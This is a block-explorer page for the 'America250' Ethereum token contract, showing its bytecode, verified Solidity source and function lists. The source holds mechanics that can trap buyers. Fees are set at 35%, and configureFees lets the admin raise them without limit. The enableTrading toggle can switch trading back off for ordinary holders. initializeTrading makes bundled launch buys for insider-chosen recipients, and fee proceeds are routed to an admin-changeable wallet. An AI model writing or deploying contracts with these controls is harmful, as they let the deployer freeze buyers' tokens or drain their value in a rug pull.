Address Contract Partially Verified
Address
0xCd30a25138cae9EE7D8Bfb7313a38a867ccdAa51
Balance
0 ETH
Nonce
1
Code Size
8028 bytes
Creator
0x691ADDe5...ba38 at tx 0x77bc6dc6...728439
Indexed Transactions
0
Contract Bytecode
8028 bytes
0x6080604052600436106101b2575f3560e01c80638bad0c0a116100e7578063bbde77c111610087578063d798cbd211610062578063d798cbd2146104c0578063dd62ed3e146104d5578063ef81bad814610519578063f851a44014610538575f5ffd5b8063bbde77c11461046d578063cc274b2914610482578063d6dd3ba2146104a1575f5ffd5b80639e8c708e116100c25780639e8c708e146103f7578063a0b1e45114610416578063a9059cbb1461042f578063aacebbe31461044e575f5ffd5b80638bad0c0a146103ce57806391ceedbf146103e257806395d89b4114610206575f5ffd5b8063313ce567116101525780635d0044ca1161012d5780635d0044ca1461034857806370a082311461036757806375829def1461039b5780638a8c523c146103ba575f5ffd5b8063313ce567146102eb578063368b5ccd14610306578063400099271461031a575f5ffd5b80630758d9241161018d5780630758d9241461023e578063095ea7b31461028957806318160ddd146102b857806323b872dd146102cc575f5ffd5b80630445b667146101bd57806305a4bb62146101e557806306fdde0314610206575f5ffd5b366101b957005b5f5ffd5b3480156101c8575f5ffd5b506101d260105481565b6040519081526020015b60405180910390f35b3480156101f0575f5ffd5b506102046101ff3660046119b0565b610554565b005b348015610211575f5ffd5b50604080518082018252600a8152690416d65726963613235360b41b602082015290516101dc9190611a08565b348015610249575f5ffd5b506102717f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016101dc565b348015610294575f5ffd5b506102a86102a3366004611a3d565b6108a5565b60405190151581526020016101dc565b3480156102c3575f5ffd5b506101d26108bb565b3480156102d7575f5ffd5b506102a86102e6366004611a67565b6108dc565b3480156102f6575f5ffd5b50604051601281526020016101dc565b348015610311575f5ffd5b50610204610954565b348015610325575f5ffd5b506102a8610334366004611aa5565b60056020525f908152604090205460ff1681565b348015610353575f5ffd5b50610204610362366004611ac0565b610991565b348015610372575f5ffd5b506101d2610381366004611aa5565b6001600160a01b03165f9081526002602052604090205490565b3480156103a6575f5ffd5b506102046103b5366004611aa5565b6109bf565b3480156103c5575f5ffd5b50610204610a97565b3480156103d9575f5ffd5b50610204610ad4565b3480156103ed575f5ffd5b506101d260065481565b348015610402575f5ffd5b50610204610411366004611aa5565b610b45565b348015610421575f5ffd5b506011546102a89060ff1681565b34801561043a575f5ffd5b506102a8610449366004611a3d565b610cb9565b348015610459575f5ffd5b50610204610468366004611aa5565b610cc5565b348015610478575f5ffd5b506101d2600f5481565b34801561048d575f5ffd5b5061020461049c366004611ac0565b610d10565b3480156104ac575f5ffd5b506102046104bb366004611ad7565b610d3e565b3480156104cb575f5ffd5b506101d2600e5481565b3480156104e0575f5ffd5b506101d26104ef366004611b0e565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610524575f5ffd5b50610204610533366004611b52565b610d7e565b348015610543575f5ffd5b505f546001600160a01b0316610271565b5f546001600160a01b031633146105865760405162461bcd60e51b815260040161057d90611ba5565b60405180910390fd5b5f7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e3573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106079190611bd2565b60405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201529091506001600160a01b0382169063095ea7b3906044016020604051808303815f875af1158015610668573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068c9190611bed565b506040516370a0823160e01b81526001600160a01b0386811660048301525f91908316906370a0823190602401602060405180830381865afa1580156106d4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f89190611c08565b6040516323b872dd60e01b81526001600160a01b03888116600483015230602483015260448201839052919250908316906323b872dd906064016020604051808303815f875af115801561074e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107729190611bed565b505f5b848110156107b5576107ad8487878481811061079357610793611c1f565b90506020020160208101906107a89190611aa5565b610e11565b600101610775565b5043600e556040516370a0823160e01b81523060048201525f906001600160a01b038416906370a0823190602401602060405180830381865afa1580156107fe573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108229190611c08565b9050801561089c5760405163a9059cbb60e01b81526001600160a01b0388811660048301526024820183905284169063a9059cbb906044016020604051808303815f875af1158015610876573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089a9190611bed565b505b50505050505050565b5f6108b1338484611176565b5060015b92915050565b5f6108c86012600a611d2a565b6108d7906461f313f880611d38565b905090565b5f6108e88484846111d6565b6001600160a01b0384165f9081526003602090815260408083203384529091529020545f191461094a576001600160a01b0384165f90815260036020908152604080832033845290915281208054849290610944908490611d4f565b90915550505b5060019392505050565b5f546001600160a01b0316331461097d5760405162461bcd60e51b815260040161057d90611ba5565b6011805460ff19811660ff90911615179055565b5f546001600160a01b031633146109ba5760405162461bcd60e51b815260040161057d90611ba5565b600f55565b5f546001600160a01b031633146109e85760405162461bcd60e51b815260040161057d90611ba5565b6001600160a01b038116610a3e5760405162461bcd60e51b815260206004820181905260248201527f4e65772061646d696e2063616e6e6f74206265207a65726f2061646472657373604482015260640161057d565b5f80546040516001600160a01b03808516939216917f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f91a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610ac05760405162461bcd60e51b815260040161057d90611ba5565b600e5415610ace575f600e55565b43600e55565b5f546001600160a01b03163314610afd5760405162461bcd60e51b815260040161057d90611ba5565b5f80546040516001600160a01b03909116907f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f908390a35f80546001600160a01b0319169055565b306001600160a01b03821603610b9d5760405162461bcd60e51b815260206004820152601b60248201527f43616e6e6f74207265636f766572206e617469766520746f6b656e0000000000604482015260640161057d565b6001546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610bee573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c129190611c08565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610c5a573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c7e9190611bed565b506001546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610cb5573d5f5f3e3d5ffd5b5050565b5f6108b13384846111d6565b5f546001600160a01b03163314610cee5760405162461bcd60e51b815260040161057d90611ba5565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610d395760405162461bcd60e51b815260040161057d90611ba5565b601055565b5f546001600160a01b03163314610d675760405162461bcd60e51b815260040161057d90611ba5565b600994909455600a92909255600b55600c55600d55565b5f546001600160a01b03163314610da75760405162461bcd60e51b815260040161057d90611ba5565b5f5b82811015610e0b578160045f868685818110610dc757610dc7611c1f565b9050602002016020810190610ddc9190611aa5565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610da9565b50505050565b6011805461ff001916610100179055604080516315ab88c960e31b815290515f916001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169163ad5c4648916004808201926020929091908290030181865afa158015610e86573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eaa9190611bd2565b6040805160028082526060820183529293505f92909160208301908036833701905050905081815f81518110610ee257610ee2611c1f565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f1657610f16611c1f565b6001600160a01b03929092166020928302919091018201526040805160028082526060820183525f93919290918301908036833701905050905030815f81518110610f6357610f63611c1f565b60200260200101906001600160a01b031690816001600160a01b0316815250508281600181518110610f9757610f97611c1f565b6001600160a01b0392831660209182029290920101526040516370a0823160e01b81523060048201525f918516906370a0823190602401602060405180830381865afa158015610fe9573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061100d9190611c08565b90505f7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663d06ca61f88856040518363ffffffff1660e01b815260040161105e929190611db9565b5f60405180830381865afa158015611078573d5f5f3e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405261109f9190810190611dd9565b6001815181106110b1576110b1611c1f565b602002602001015190505f8282116110c957816110cb565b825b9050805f036110df57505050505050611167565b604051635c11d79560e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1690635c11d795906111339084905f908a908d904290600401611ea1565b5f604051808303815f87803b15801561114a575f5ffd5b505af115801561115c573d5f5f3e3d5ffd5b505050505050505050505b50506011805461ff0019169055565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f908152600260205260409020548111156112345760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015260640161057d565b601154610100900460ff161561124f57610e0b8383836114d6565b5f61125a8484611589565b6001600160a01b0384165f9081526005602052604090205490915060ff16801561128c5750601154610100900460ff16155b80156112b057506001600160a01b0384165f9081526004602052604090205460ff16155b80156112d457506001600160a01b0383165f9081526004602052604090205460ff16155b80156112e35750600d54600654115b1561131f57305f90815260026020526040812054908184116113055783611307565b815b905060105481111561131c5761131c816115e4565b50505b80156114ca575f600e541161136b5760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b604482015260640161057d565b6001600160a01b0384165f9081526005602052604090205460ff1680156113c457507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b80156113e857506001600160a01b0383165f9081526004602052604090205460ff16155b156114825760068054905f6113fc83611edc565b91905055505f600f54118015611414575060115460ff165b1561148257600f546001600160a01b0384165f9081526002602052604090205461143f908490611ef4565b11156114825760405162461bcd60e51b8152602060048201526012602482015271115e18d959591cc81b585e081dd85b1b195d60721b604482015260640161057d565b60115460ff1680156114aa57506001600160a01b0384165f9081526002602052604090205482145b156114ca576114bd6305f5e10083611f07565b6114c79083611d4f565b91505b610e0b8484848461177c565b6001600160a01b0383165f908152600260205260408120805483919083906114ff908490611d4f565b90915550506001600160a01b0383165f908152600260205260408120805484929061152b908490611ef4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161157791815260200190565b60405180910390a35060019392505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156115c957506001600160a01b0382165f9081526004602052604090205460ff16155b80156115dd5750601154610100900460ff16155b9392505050565b6011805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061162657611626611c1f565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116a2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116c69190611bd2565b816001815181106116d9576116d9611c1f565b6001600160a01b03928316602091820292909201015260015460405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d83169263791ac947926117409287925f9288929116904290600401611ea1565b5f604051808303815f87803b158015611757575f5ffd5b505af1158015611769573d5f5f3e3d5ffd5b50506011805461ff001916905550505050565b6001600160a01b0384165f90815260026020526040812080548492906117a3908490611d4f565b909155505f90508115611848575f6117bb86866118cf565b90505f60646117ca8387611d38565b6117d49190611f07565b9050801561184557305f908152600260205260408120805492945084928392906117ff908490611ef4565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b50505b6118528184611d4f565b6001600160a01b0385165f9081526002602052604081208054909190611879908490611ef4565b90915550506001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118b78487611d4f565b60405190815260200160405180910390a35050505050565b6001600160a01b0381165f9081526005602052604081205460ff161561190d57600c546006541161190257600854611906565b600a545b90506108b5565b6001600160a01b0383165f9081526005602052604090205460ff161561194957600b546006541161194057600754611906565b506009546108b5565b505f92915050565b6001600160a01b0381168114611965575f5ffd5b50565b5f5f83601f840112611978575f5ffd5b50813567ffffffffffffffff81111561198f575f5ffd5b6020830191508360208260051b85010111156119a9575f5ffd5b9250929050565b5f5f5f5f606085870312156119c3575f5ffd5b84356119ce81611951565b9350602085013567ffffffffffffffff8111156119e9575f5ffd5b6119f587828801611968565b9598909750949560400135949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f5f60408385031215611a4e575f5ffd5b8235611a5981611951565b946020939093013593505050565b5f5f5f60608486031215611a79575f5ffd5b8335611a8481611951565b92506020840135611a9481611951565b929592945050506040919091013590565b5f60208284031215611ab5575f5ffd5b81356115dd81611951565b5f60208284031215611ad0575f5ffd5b5035919050565b5f5f5f5f5f60a08688031215611aeb575f5ffd5b505083359560208501359550604085013594606081013594506080013592509050565b5f5f60408385031215611b1f575f5ffd5b8235611b2a81611951565b91506020830135611b3a81611951565b809150509250929050565b8015158114611965575f5ffd5b5f5f5f60408486031215611b64575f5ffd5b833567ffffffffffffffff811115611b7a575f5ffd5b611b8686828701611968565b9094509250506020840135611b9a81611b45565b809150509250925092565b60208082526013908201527221b0b63632b91034b9903737ba1030b236b4b760691b604082015260600190565b5f60208284031215611be2575f5ffd5b81516115dd81611951565b5f60208284031215611bfd575f5ffd5b81516115dd81611b45565b5f60208284031215611c18575f5ffd5b5051919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611c8257808504811115611c6657611c66611c33565b6001841615611c7457908102905b60019390931c928002611c4b565b935093915050565b5f82611c98575060016108b5565b81611ca457505f6108b5565b8160018114611cba5760028114611cc457611ce0565b60019150506108b5565b60ff841115611cd557611cd5611c33565b50506001821b6108b5565b5060208310610133831016604e8410600b8410161715611d03575081810a6108b5565b611d0f5f198484611c47565b805f1904821115611d2257611d22611c33565b029392505050565b5f6115dd60ff841683611c8a565b80820281158282048414176108b5576108b5611c33565b818103818111156108b5576108b5611c33565b634e487b7160e01b5f52604160045260245ffd5b5f8151808452602084019350602083015f5b82811015611daf5781516001600160a01b0316865260209586019590910190600101611d88565b5093949350505050565b828152604060208201525f611dd16040830184611d76565b949350505050565b5f60208284031215611de9575f5ffd5b815167ffffffffffffffff811115611dff575f5ffd5b8201601f81018413611e0f575f5ffd5b805167ffffffffffffffff811115611e2957611e29611d62565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715611e5657611e56611d62565b604052918252602081840181019290810187841115611e73575f5ffd5b6020850194505b83851015611e9657845180825260209586019590935001611e7a565b509695505050505050565b85815284602082015260a060408201525f611ebf60a0830186611d76565b6001600160a01b0394909416606083015250608001529392505050565b5f60018201611eed57611eed611c33565b5060010190565b808201808211156108b5576108b5611c33565b5f82611f2157634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220f1edefd09f14151d58fdc8cc1f39357d1eb766e81f90960034a5482bd887fe1464736f6c634300081e0033
Verified Source Code Partial Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: Yes (200 runs)
America250.sol 406 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract TokenAdmin {
address internal _admin;
event AdminChanged(address indexed previousAdmin, address indexed newAdmin);
constructor() {
_admin = msg.sender;
emit AdminChanged(address(0), msg.sender);
}
function admin() public view returns (address) {
return _admin;
}
modifier onlyAdmin() {
require(_admin == msg.sender, "Caller is not admin");
_;
}
function transferAdmin(address newAdmin) public virtual onlyAdmin {
require(newAdmin != address(0), "New admin cannot be zero address");
emit AdminChanged(_admin, newAdmin);
_admin = newAdmin;
}
function renounceAdmin() public virtual onlyAdmin {
emit AdminChanged(_admin, address(0));
_admin = address(0);
}
}
contract America250 is IERC20, TokenAdmin {
// Token metadata
string private constant TOKEN_NAME = unicode"America250";
string private constant TOKEN_SYMBOL = "America250";
uint8 private constant DECIMALS = 18;
uint256 private constant TOTAL_SUPPLY = 420690000000 * (10**DECIMALS);
// DEX addresses
address private constant UNISWAP_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private immutable UNISWAP_PAIR;
// Fee addresses
address private constant INITIAL_HOLDER = 0x691ADDe5bA2F215992755903fE29F0dbF8B3ba38;
address payable private marketingWallet = payable(0x2fa8198926852041c5c009281c134212b528bdE4);
// Token state
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) public isDexPair;
// Fee configuration
uint256 public buyCounter = 0;
uint256 private initialBuyFee = 35;
uint256 private initialSellFee = 35;
uint256 private finalBuyFee = 35;
uint256 private finalSellFee = 35;
uint256 private buyFeeReductionThreshold = 0;
uint256 private sellFeeReductionThreshold = 0;
uint256 private feeActivationThreshold = 0;
// Trading controls
uint256 public tradingStartBlock;
uint256 public maxWalletBalance = 0;
uint256 public swapThreshold = TOTAL_SUPPLY / 25000;
bool public enforceMaxWallet = false;
bool private inSwapProcess;
// Router instance
IUniswapV2Router public immutable dexRouter;
modifier swapLock {
inSwapProcess = true;
_;
inSwapProcess = false;
}
constructor() {
// Initialize token distribution
_balances[INITIAL_HOLDER] = TOTAL_SUPPLY;
emit Transfer(address(0), INITIAL_HOLDER, TOTAL_SUPPLY);
// Set up fee exclusions
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[INITIAL_HOLDER] = true;
_isExcludedFromFee[marketingWallet] = true;
// Initialize DEX router
dexRouter = IUniswapV2Router(UNISWAP_ROUTER);
_allowances[address(this)][UNISWAP_ROUTER] = type(uint256).max;
// Create DEX pair
UNISWAP_PAIR = IUniswapV2Factory(dexRouter.factory()).createPair(
address(this),
dexRouter.WETH()
);
isDexPair[UNISWAP_PAIR] = true;
// Approve WETH
IERC20(dexRouter.WETH()).approve(UNISWAP_ROUTER, type(uint256).max);
transferAdmin(INITIAL_HOLDER);
}
// Token standard functions
function name() external pure override returns (string memory) {
return TOKEN_NAME;
}
function symbol() external pure override returns (string memory) {
return TOKEN_SYMBOL;
}
function decimals() external pure override returns (uint8) {
return DECIMALS;
}
function totalSupply() external pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] -= amount;
}
return true;
}
// Admin functions
function updateMarketingWallet(address payable newWallet) external onlyAdmin {
marketingWallet = newWallet;
}
function configureFees(
uint256 newFinalBuyFee,
uint256 newFinalSellFee,
uint256 newBuyReductionPoint,
uint256 newSellReductionPoint,
uint256 newActivationThreshold
) external onlyAdmin {
finalBuyFee = newFinalBuyFee;
finalSellFee = newFinalSellFee;
buyFeeReductionThreshold = newBuyReductionPoint;
sellFeeReductionThreshold = newSellReductionPoint;
feeActivationThreshold = newActivationThreshold;
}
function toggleMaxWalletEnforcement() external onlyAdmin {
enforceMaxWallet = !enforceMaxWallet;
}
function updateSwapThreshold(uint256 newThreshold) external onlyAdmin {
swapThreshold = newThreshold;
}
function setMaxWallet(uint256 maxAmount) external onlyAdmin {
maxWalletBalance = maxAmount;
}
function batchExcludeFromFee(address[] calldata accounts, bool excluded) external onlyAdmin {
for (uint i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
function enableTrading() external onlyAdmin {
tradingStartBlock = tradingStartBlock == 0 ? block.number : 0;
}
function initializeTrading(
address fundingAccount,
address[] calldata recipients,
uint256 amountPerRecipient
) external onlyAdmin {
address weth = dexRouter.WETH();
IERC20(weth).approve(UNISWAP_ROUTER, type(uint256).max);
uint256 wethBalance = IERC20(weth).balanceOf(fundingAccount);
IERC20(weth).transferFrom(fundingAccount, address(this), wethBalance);
for (uint i = 0; i < recipients.length; i++) {
_distributeTokens(amountPerRecipient, recipients[i]);
}
tradingStartBlock = block.number;
uint256 remainingWeth = IERC20(weth).balanceOf(address(this));
if (remainingWeth > 0) {
IERC20(weth).transfer(fundingAccount, remainingWeth);
}
}
function recoverERC20(address tokenAddress) external {
require(tokenAddress != address(this), "Cannot recover native token");
IERC20(tokenAddress).transfer(
marketingWallet,
IERC20(tokenAddress).balanceOf(address(this))
);
marketingWallet.transfer(address(this).balance);
}
// Internal functions
function _approve(address owner, address spender, uint256 amount) private {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(_balances[from] >= amount, "Insufficient balance");
if (inSwapProcess) {
_basicTransfer(from, to, amount);
return;
}
bool applyFees = _shouldApplyFees(from, to);
if (isDexPair[to] && !inSwapProcess &&
!_isExcludedFromFee[from] && !_isExcludedFromFee[to] &&
buyCounter > feeActivationThreshold) {
uint256 contractBalance = balanceOf(address(this));
uint256 sellAmount = amount > contractBalance ? contractBalance : amount;
if (sellAmount > swapThreshold) {
_convertToETH(sellAmount);
}
}
if (applyFees) {
require(tradingStartBlock > 0, "Trading not active");
if (isDexPair[from] && to != address(dexRouter) && !_isExcludedFromFee[to]) {
buyCounter++;
if (maxWalletBalance > 0 && enforceMaxWallet) {
require(_balances[to] + amount <= maxWalletBalance, "Exceeds max wallet");
}
}
if (enforceMaxWallet && amount == _balances[from]) {
amount = amount - (amount / 100000000); // Leave dust
}
}
_executeTransfer(from, to, amount, applyFees);
}
function _basicTransfer(address from, address to, uint256 amount) private returns (bool) {
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function _executeTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
_balances[sender] -= amount;
uint256 feeAmount = 0;
if (takeFee) {
uint256 feeRate = _determineFeeRate(sender, recipient);
uint256 calculatedFee = (amount * feeRate) / 100;
if (calculatedFee > 0) {
feeAmount = calculatedFee;
_balances[address(this)] += calculatedFee;
emit Transfer(sender, address(this), calculatedFee);
}
}
_balances[recipient] += (amount - feeAmount);
emit Transfer(sender, recipient, amount - feeAmount);
}
function _shouldApplyFees(address from, address to) private view returns (bool) {
return !_isExcludedFromFee[from] &&
!_isExcludedFromFee[to] &&
!inSwapProcess;
}
function _determineFeeRate(address sender, address recipient) private view returns (uint256) {
if (isDexPair[recipient]) {
return buyCounter > sellFeeReductionThreshold ? finalSellFee : initialSellFee;
} else if (isDexPair[sender]) {
return buyCounter > buyFeeReductionThreshold ? finalBuyFee : initialBuyFee;
}
return 0;
}
function _distributeTokens(uint256 tokenAmount, address recipient) private swapLock {
address weth = dexRouter.WETH();
address[] memory buyPath = new address[](2);
buyPath[0] = weth;
buyPath[1] = address(this);
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = weth;
uint256 wethBalance = IERC20(weth).balanceOf(address(this));
uint256 estimatedBuyAmount = dexRouter.getAmountsOut(tokenAmount, sellPath)[1];
uint256 actualBuyAmount = estimatedBuyAmount > wethBalance ? wethBalance : estimatedBuyAmount;
if (actualBuyAmount == 0) return;
dexRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
actualBuyAmount,
0,
buyPath,
recipient,
block.timestamp
);
}
function _convertToETH(uint256 tokenAmount) private swapLock {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
marketingWallet,
block.timestamp
);
}
receive() external payable {}
}
Read Contract
admin 0xf851a440 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyCounter 0x91ceedbf → uint256
decimals 0x313ce567 → uint8
dexRouter 0x0758d924 → address
enforceMaxWallet 0xa0b1e451 → bool
isDexPair 0x40009927 → bool
maxWalletBalance 0xbbde77c1 → uint256
name 0x06fdde03 → string
swapThreshold 0x0445b667 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingStartBlock 0xd798cbd2 → uint256
Write Contract 14 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
batchExcludeFromFee 0xef81bad8
address[] accounts
bool excluded
configureFees 0xd6dd3ba2
uint256 newFinalBuyFee
uint256 newFinalSellFee
uint256 newBuyReductionPoint
uint256 newSellReductionPoint
uint256 newActivationThreshold
enableTrading 0x8a8c523c
No parameters
initializeTrading 0x05a4bb62
address fundingAccount
address[] recipients
uint256 amountPerRecipient
recoverERC20 0x9e8c708e
address tokenAddress
renounceAdmin 0x8bad0c0a
No parameters
setMaxWallet 0x5d0044ca
uint256 maxAmount
toggleMaxWalletEnforcement 0x368b5ccd
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferAdmin 0x75829def
address newAdmin
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
updateMarketingWallet 0xaacebbe3
address newWallet
updateSwapThreshold 0xcc274b29
uint256 newThreshold
Recent Transactions
No transactions found for this address